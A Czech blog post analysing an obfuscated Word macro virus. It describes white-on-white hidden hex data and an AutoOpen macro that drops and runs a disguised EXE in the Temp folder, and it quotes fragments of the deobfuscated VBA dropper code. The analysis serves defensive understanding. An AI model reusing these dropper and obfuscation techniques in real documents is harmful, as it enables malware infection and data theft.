Reverzní engineering jednoho silně obfuskovaného makroviru #2

malwareTak jsem měl možnost analyzovat další zajímavý makrovirus, který se šířil ve wordovém dokumentu.

Wordový dokument obsahoval více jak dvě stě stránek napsaných bílým písmem na bílém pozadí, takže text nebyl vidět. Ale ani poté, co jsem celý dokument označil a změnil barvu písma na výchozí černou, jsem z něho nebyl příliš moudrý. Na první pohled ale bylo více jak zřejmé, že se jedná o hexadecimální kód.

Tento předpoklad potvrdil i následný pohled do kódu makra, které bylo stejně jako v minulém případě silně obfuskované, a obsahovalo několik desítek funkcí, z nichž většinu tvořil mrtvý kód. Útočník nebyl příliš kreativní, takže mrtvý kód se dal snadno odfiltrovat a výsledkem pak byly 3 funkce a 8 podprogramů, přičemž spuštění makra bylo pověšeno jak jinak než na Sub AutoOpen(). Samozřejmostí pak bylo i postupné volání jedné funkce z druhé.

Výkonný kód pak v profilu uživatele v adresáři AppData\Local\Temp vytvoří nový adresář, který se skládá ze tří náhodně vygenerovaných znaků, vlastně jen ze dvou, protože znak na první a třetí pozici je stejný. Následně je vytvořen spustitelný soubor s názvem, který odpovídá prvním dvěma znakům použitým i v názvu adresáře, vizte samotný kód.

Randomize
Hwzgyjkdnxiliykqg30 = CLng(16 * Rnd + 65)
Wajoraxyfoyqswvetazaubfxccinshldelxynaanlnbhacl35 = CLng(16 * Rnd + 65)

Gyamnujpeqmpivgrebinkkcdbzyukjqazwxdyjmkdrulwoabhfxphjczbw9 = Environ(Wmernkefwwbwlmcrxfzpqmzosweztsihjflvyhgpylbnlezcsvorf68) + Cwnnshcbhfqamhwkc13(„%$%%$%\%$%“) + Chr(Hwzgyjkdnxiliykqg30) + Chr(Wajoraxyfoyqswvetazaubfxccinshldelxynaanlnbhacl35) + Chr(Hwzgyjkdnxiliykqg30)

Přípona tohoto souboru je „cm d“, ale mohla by být jakákoliv, protože ve skutečnosti se jedná o exe soubor. Ten je pak spuštěn pomocí funkce Shell, přičemž není rozhodující přípona, nýbrž údaj v hlavičce souboru a zde vidíme „MZ“.

Dbsxpbymcwjnthera67 = Chr(Wajoraxyfoyqswvetazaubfxccinshldelxynaanlnbhacl35) + Chr(Hwzgyjkdnxiliykqg30) + Cwnnshcbhfqamhwkc13(„%$%.c%$%“ _
+ „%$%m%$% “ _
+ „%$%d%$%“)

Public Function Cwnnshcbhfqamhwkc13(Tjvlzbusxuww5 As String)
Cwnnshcbhfqamhwkc13 = Replace(Tjvlzbusxuww5, „%$%“, „“)
End Function

Asi již tušíte, že tento soubor je naplněn daty uloženými přímo v dokumentu. Skutečně je tomu tak. Vytvořený soubor je otevřen jako binární pro zápis, jsou načtena data z dokumentu, nad kterými pak proběhne ještě pár operací a výsledek je nakonec zapsán do souboru:

Open Dbsxpbymcwjnthera67 For Binary As Gjixngdefxfgdgmtlyczqviqxvxhariakrwormdjcvjliskalnnfznprqvfl98
For Each Rtbbhwepcvqprttjigkpzfmuushshka47 In ActiveDocument.Paragraphs
DoEvents
Jtzlmetbakpslkcjngqizmfksqxjpwgtexzilnmgqhjcnaxopdoretnydzsxswesq8 = Rtbbhwepcvqprttjigkpzfmuushshka47.Range.Text
Put #Gjixngdefxfgdgmtlyczqviqxvxhariakrwormdjcvjliskalnnfznprqvfl98, , Nhyckfvntjfyljabgxrbaxycpibcwyystzdzkyrsvrnaswua23

Za určitou inovaci lze označit skutečnost, že kód po svém spuštění nekomunikuje do internetu, neboť veškeré informace, které by si normálně musel vyžádat z C&C serveru, již má v sobě, takže jediná komunikace, která proběhne, je až v okamžiku, kdy posbírá citlivá data a potřebuje je odeslat.


Pokud vás tento příspěvek zaujal, sdílejte ho!
Share on FacebookShare on LinkedInTweet about this on TwitterShare on Google+Email this to someonePrint this page

Štítky:


K článku “Reverzní engineering jednoho silně obfuskovaného makroviru #2” se zde nenachází žádný komentář - buďte první.

Diskuse na tomto webu je moderována. Pod článkem budou zobrazovány jen takové komentáře, které nebudou sloužit k propagaci konkrétní firmy, produktu nebo služby. V případě, že chcete, aby z těchto stránek vedl odkaz na váš web, kontaktujte nás, známe efektivnější způsoby propagace.

Přihlášeným uživatelům se tento formulář nezobrazuje - zaregistrujte se.

Jméno:(požadováno)
E-mail:(požadováno - nebude zobrazen)
Web:

Text vaší reakce: